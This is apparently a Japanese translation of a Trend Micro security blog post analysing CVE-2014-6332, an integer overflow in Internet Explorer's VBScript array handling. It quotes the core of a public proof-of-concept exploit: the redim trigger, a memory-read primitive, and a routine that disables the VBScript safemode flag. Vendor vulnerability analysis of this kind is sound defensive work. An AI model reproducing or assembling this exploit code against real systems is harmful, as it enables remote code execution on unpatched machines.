徹底検証:深刻な脆弱性「CVE-2014-6332」、簡単に利用される恐れ

Microsoft は、11月の定例セキュリティ情報で 16件のセキュリティ更新プログラムを公開しました。トレンドマイクロでは、Windows Object Linking and Embedding (OLE)に存在するオートメーション配列リモートコード実行の脆弱性「CVE-2014-6332」(「MS14-0064」で対応)に特に注目しています。その理由は以下のとおりです。

  1. Windowns 95 以降のサポート ライフサイクル中のほぼすべての Windows のバージョンに影響を与える。
  2. Internet Explorer(IE)のバージョン 3~11 に存在する利用されやすい脆弱性で、脆弱性緩和ツール「Enhanced Mitigation Experience Toolkit(EMET)」や「Address Space Layout Randomization(アドレス空間レイアウトのランダム化、ASLR)」、「Data Execution Prevention(データ実行防止、DEP)」、「Control-Flow Integrity(制御フローの整合性、CFI」といったオペレーティングシステム(OS)のセキュリティ対策が回避される。
  3. 「Proof-of-concept(PoC、概念実証型エクスプロイト。実際に有効な攻撃ができることを実証している攻撃コード)」のエクスプロイトコードが「Yuange1975」と名乗る中国の研究者によって最近公開された。
  4. PoC によると、攻撃のためのVBScript の不正なコードを記述するのは非常に簡単である。
  5. 攻撃者は、更新プログラムを適用していない PC を狙って PoC をすぐにでも利用する可能性がある。

■脆弱性「CVE-2014-6332」について
この脆弱性は、IE の VBScriptエンジンの配列のサイズ変更を不適切に処理することによって発生します。VBScript は、Webサーバソフト「Internet Information Serivices(IIS)」の拡張機能の 1つである「Active Server Pages(ASP)」の初期設定のスクリプト言語です。Google Chrome のようなその他のブラウザは VBScript をサポートしていませんが、IE は下位互換性を保つため、古いエンジンを介して VBScript を現在でもサポートしています。

この配列は、VBScriptエンジンで以下の構造を持ちます。

typedef struct tagSAFEARRAY
{
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[ 1 ];
} SAFEARRAY;

typedef struct tagSAFEARRAYBOUND
{
ULONG cElements;
LONG lLbound;
} SAFEARRAYBOUND;

「pvData」はこの配列のアドレスへのポインタで、「rgsabound [0].cElements」はこの配列の要素の数を表します。

各要素は構造「Var」で、サイズは 0x10 です。

Var
{
0×00: varType
0×04: padding
0×08: dataHigh
0x0c: dataLow
}

以下のように、この脆弱性は VBScript で配列を新しい長さで再定義した際に起こる可能性があります。

redim aa(a0)

redim Preserve aa(a1)
VBScript engine will call function OLEAUT32!SafeArrayRedim(), whose arguments are:
First: ppsaOUT //the safeArray address
Second: psaboundNew //the address of SAFEARRAY, which contains the new
//number of elements: arg_newElementsSize

図1:関数「SafeArrayRedim()」のコード
図1:関数「SafeArrayRedim()」のコード

関数「SafeArrayRedim()」は以下の手順となります。

  • 古い配列のサイズを取得する:oldSize= arg_pSafeArray-> cbElements*0×10
  • 配列に新しい数字を設定する:arg_pSafeArray-> rgsabound[0].cElements = arg_newElementsSize
  • 新しい配列のサイズを取得する:newSize = arg_newElementsSize*0×10
  • 差分を取得する:sub = newSize – oldSize
  • sub > 0 の場合は、goto bigger_alloc となる(このコードラインは問題なし)
  • sub < 0 の場合は、関数「ole32!CRetailMalloc_Realloc()」によってメモリが再割り当てされるため、goto less_alloc となる。この場合、次のコードラインに進む。sub > 0×8000000 は符号なし整数とされるが、「opcode jge」が符号付き整数に作用するため、ここでは差分は負の値として扱われる

これが、「整数オーバーフロー(符号付き/符号なし)」の問題です。

  1. 「cElements」は符号なし整数として使用される:古いサイズ、新しいサイズ、差分は符号なし整数として利用される
  2. 差分は、「opcode jge」の比較で符号付き整数として扱われる

■危険な PoC のエクスプロイトコード
この深刻な脆弱性は、単純な方法で実行される恐れがあります。VBScriptエンジンには、この脆弱性を利用する魔法のような手法があります。これを利用すると、VBScript で書かれた任意のコードのサンドボックスを簡単に回避することができます。攻撃者はシェルコードや「return-oriented programming(ROP)」を書く必要はありません。また、DEP や ALSR といったセキュリティ対策は当然ながらここでは役に立たなくなります。

この手間いらずの手法により、ほとんどすべてのことが可能になります。この状況では、ファイル感染型不正プログラムは必要ありません。また、ヒープスプレーや ROP、シェルコード、ファイル感染型不正プログラムは容易に検出を回避できるようになります。

次に、この PoC がどれだけ有効性を実証しているかを見ていきます。

■脆弱性の利用
最初に、この PoC のエクスプロイトコードは、問題の脆弱性を利用して「type confusion(型の取り違え)」を発生させます。PoC は、「aa」と「ab」の 2つの配列を定義し、大きな数字で「aa」のサイズ変更をします。

a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)

配列「aa」と「ab」のタイプが同じなため、要素の数は等しくなり、配列のメモリ配置を以下のようにすることが可能です。

図2:配列「aa」および「ab」の予想されるメモリ配置
図2:配列「aa」および「ab」の予想されるメモリ配置

redim Preserve aa(a2)、a2 = a0+&h8000000 が実行されると、脆弱性が利用される可能性があります。この場合、「aa」のメモリ領域外の要素にアクセス可能となります。PoC はその後「ab」の要素に型の取り違えを生じさせるため、これを利用します。

しかし、メモリ配置は想定通りにならないこともあるため、脆弱性が毎回利用されるとは限りません。そのため、PoC は以下の条件に合うよう何度も試みます。

  • 「ab(b0)」のアドレスがフィールド「type」へのポインタである(ここでは必然的に b0=0 となる)
  • 「aa(a0)」のアドレスが「ab(b0)」のフィールド「data high」へのポインタである

つまり、「aa(a0)」のアドレスが、「ab(b0)」のアドレス + 8 と等しくなります。

図3:条件に合致した時のメモリ配置
図3:条件に合致した時のメモリ配置

その後、変更した「ab(b0)」の「data high field」と変更した「aa(a0)」の「type field」が等しくなり、型の取り違えが起きます。

次に PoC は、型の取り違えを利用してどのようなメモリも読み込み可能にします。

Function readmem(add)
On Error Resume Next
ab(b0)=0 // type of aa(a0) is changed to int
aa(a0)=add+4 // the high data of aa(a0) is set to add+4
ab(b0)=1.69759663316747E-313 // thisis 0×0000000800000008
// now, type of aa(a0) is changed to bstr
readmem=lenb(aa(a0)) // length of bstr stores in pBstrBase-4
// lenb(aa(a0)) = [pBstrBase-4] = [add+4-4]
ab(b0)=0
end function

上述の関数はどのような「add」も返し、VBScript で不正なコードを書くために利用されます。

■手間いらずの手法
ご存知の通り、VBScript はブラウザやローカルシェルで使用されます。ブラウザで使用した場合、挙動は制限されますが、この制限はあるフラグによって管理されます。つまり、フラグを変更すれば、HTML の VBScript はローカルシェルのように何でもできるようになります。こうして、攻撃者は簡単に VBScript で不正なコードを書けるようになります。

以下は、VBScript で不正なコードを書くために利用される PoC のエクスプロイトコードの関数です。このフラグは、オブジェクト「COleScript」に存在します。「COleScript」のアドレスが取得されると、フラグが変更される可能性があります。

function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8) // get address of CScriptEntryPoint which includes pointer to COleScript
i=readmemo(i+16) // get address of COleScript which includes pointer the said safemode flags
j=readmemo(i+&h134)
for k=0 to &h60 step 4 // for compatibility of different IE versions
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4) // change safemode flags
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function

ここで関数「mydata()」は、関数オブジェクトの変数を返し、「CScriptEntryPoint」へのポインタを含みます。弊社はここで疑問を持ちました。VBScript を利用した関数オブジェクトのアドレスがアクセス不可ならば、PoC はどのように実現したのでしょうか。この PoC の巧妙な手法は、以下の関数で表されます。

function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function

疑問を解く鍵は、関数の最初の 3列にあります。

i=testaa

VBScript では関数オブジェクトのアドレスは入手できません。このコードは無意味なように思えます。しかし、このコードが実行されたときのコールスタックを見てみましょう。

上記のラインより前は、スタックは空です。最初に、仮想記憶(Virtual Memory, VM)が「testaa」を関数として翻訳し、アドレスをスタックに保存します。次に、VM は「i」のアドレスを翻訳し、割り当てを試みます。しかし、VM はスタックのタイプが関数オブジェクトであることに気付きます。そこで、VM はエラーを返し、エラー処理に入ります。「On Error Resume Next」が関数「mydata()」に設定されるため、VM はエラーが起きても次のセンテンスを継続します。

i=null

このラインでは、VM は「null」を最初に翻訳します。「null」の場合、VM はスタックに情報を保存しません。かわりにスタックの最後の情報のタイプを 0x1 に変更します。そして、VM がそれに「i」を割り当てると、「i」のタイプが「VT_NULL」であるにもかかわらず、関数「testaa()」のアドレスとなります。

上記のラインは、関数「testaa()」のアドレスを VT_NULLタイプから流出させるために利用されます。

■結論
古くからある VBScirptエンジンを利用したこの手間いらずの手法は、IE に存在する最大の危険です。利用できる脆弱性が見つかれば、攻撃者は少ない労力で利用しやすいエクスプロイトコードを作成できます。「CVE-2014-6332」はこうした脆弱性の 1つでしかありません。幸いにも、Microsoft はこの脆弱性への更新プログラムを公開していますが、この手法そのものを修正する更新プログラムが提供されることを弊社は期待しています。Chrome では、VBScript のサポートはすでに行っていません。

さらに、この脆弱性は利用が非常に簡単で、またすべてのセキュリティ対策を回避し、VBScript で不正なコードが簡単に書けるようになります。攻撃者は「スーパーユーザ」となり、システムを完全に制御できます。システムに侵入するためのシェルコードは必ずしも必要ではありません。

影響を受ける Windows のバージョンの範囲はとても広く、Windows95 や WindowsXP などの多くのユーザに影響を与えるバージョンはすでにサポート対象外となっています。こうした古いバージョンの OS は特に脆弱性を利用した攻撃を受ける危険性が高くなります。

この脆弱性は、ほとんどすべての OS のバージョンに影響を与えるため、極めて珍しいものです。それと同時に、この脆弱性は、DEP や ASLR、EMET、CFI といった Microsoft のセキュリティ対策を巧妙に回避します。こうした巧妙な脆弱性利用の手法と、広範囲のバージョンが影響を受けるという致命的な組み合わせによって、攻撃者が今後、この脆弱性を利用する可能性は非常に高いと言えます。

■トレンドマイクロの対策
弊社は、ユーザに以下のベストプラクティスを実践することを推奨します。

  1. 直ちに Microsoft の更新プログラムを適用して下さい。適用するまでは IE 以外のブラウザを使用することも危険を軽減させるでしょう。
  2. Microsoft がサポートしている Windows の新しいバージョンを使用することも推奨します。

サーバ向け総合セキュリティ製品「Trend Micro Deep Security(トレンドマイクロ ディープセキュリティ)」および「Trend Micro 脆弱性対策オプション」(ウイルスバスター コーポレートエディション用オプション製品)をご利用の企業のお客様は、これらの脅威からシステムを保護することができます。また最新のルールを適用することにより、この脆弱性から顧客を保護します。

以下のフィルタを適用することにより、この脆弱性を利用した攻撃からユーザは保護されます。

  • 100632 – Windows OLE Automation Array Remote Code Execution Vulnerability (CVE-2014-6332)
  • 1006290 – Microsoft Windows OLE Remote Code Execution Vulnerability
  • 1006291 – Microsoft Windows OLE Remote Code Execution Vulnerability -1

上述の対策に加え、法人向けネットワークソリューション「Deep Discovery Inspector」では、NCIP および NCCP を公開しており、この問題の脆弱性を利用した攻撃をいち早く可視化することができます。また、「ウイルスバスター コーポレートエディション」も脆弱性利用の攻撃を検知します。

Microsoft から 11月の定例セキュリティ情報で公開された脆弱性およびサポートについての情報は、弊社の「セキュリティ情報」もご参照下さい。

参考記事:

 翻訳:品川 暁子(Core Technology Marketing, TrendLabs)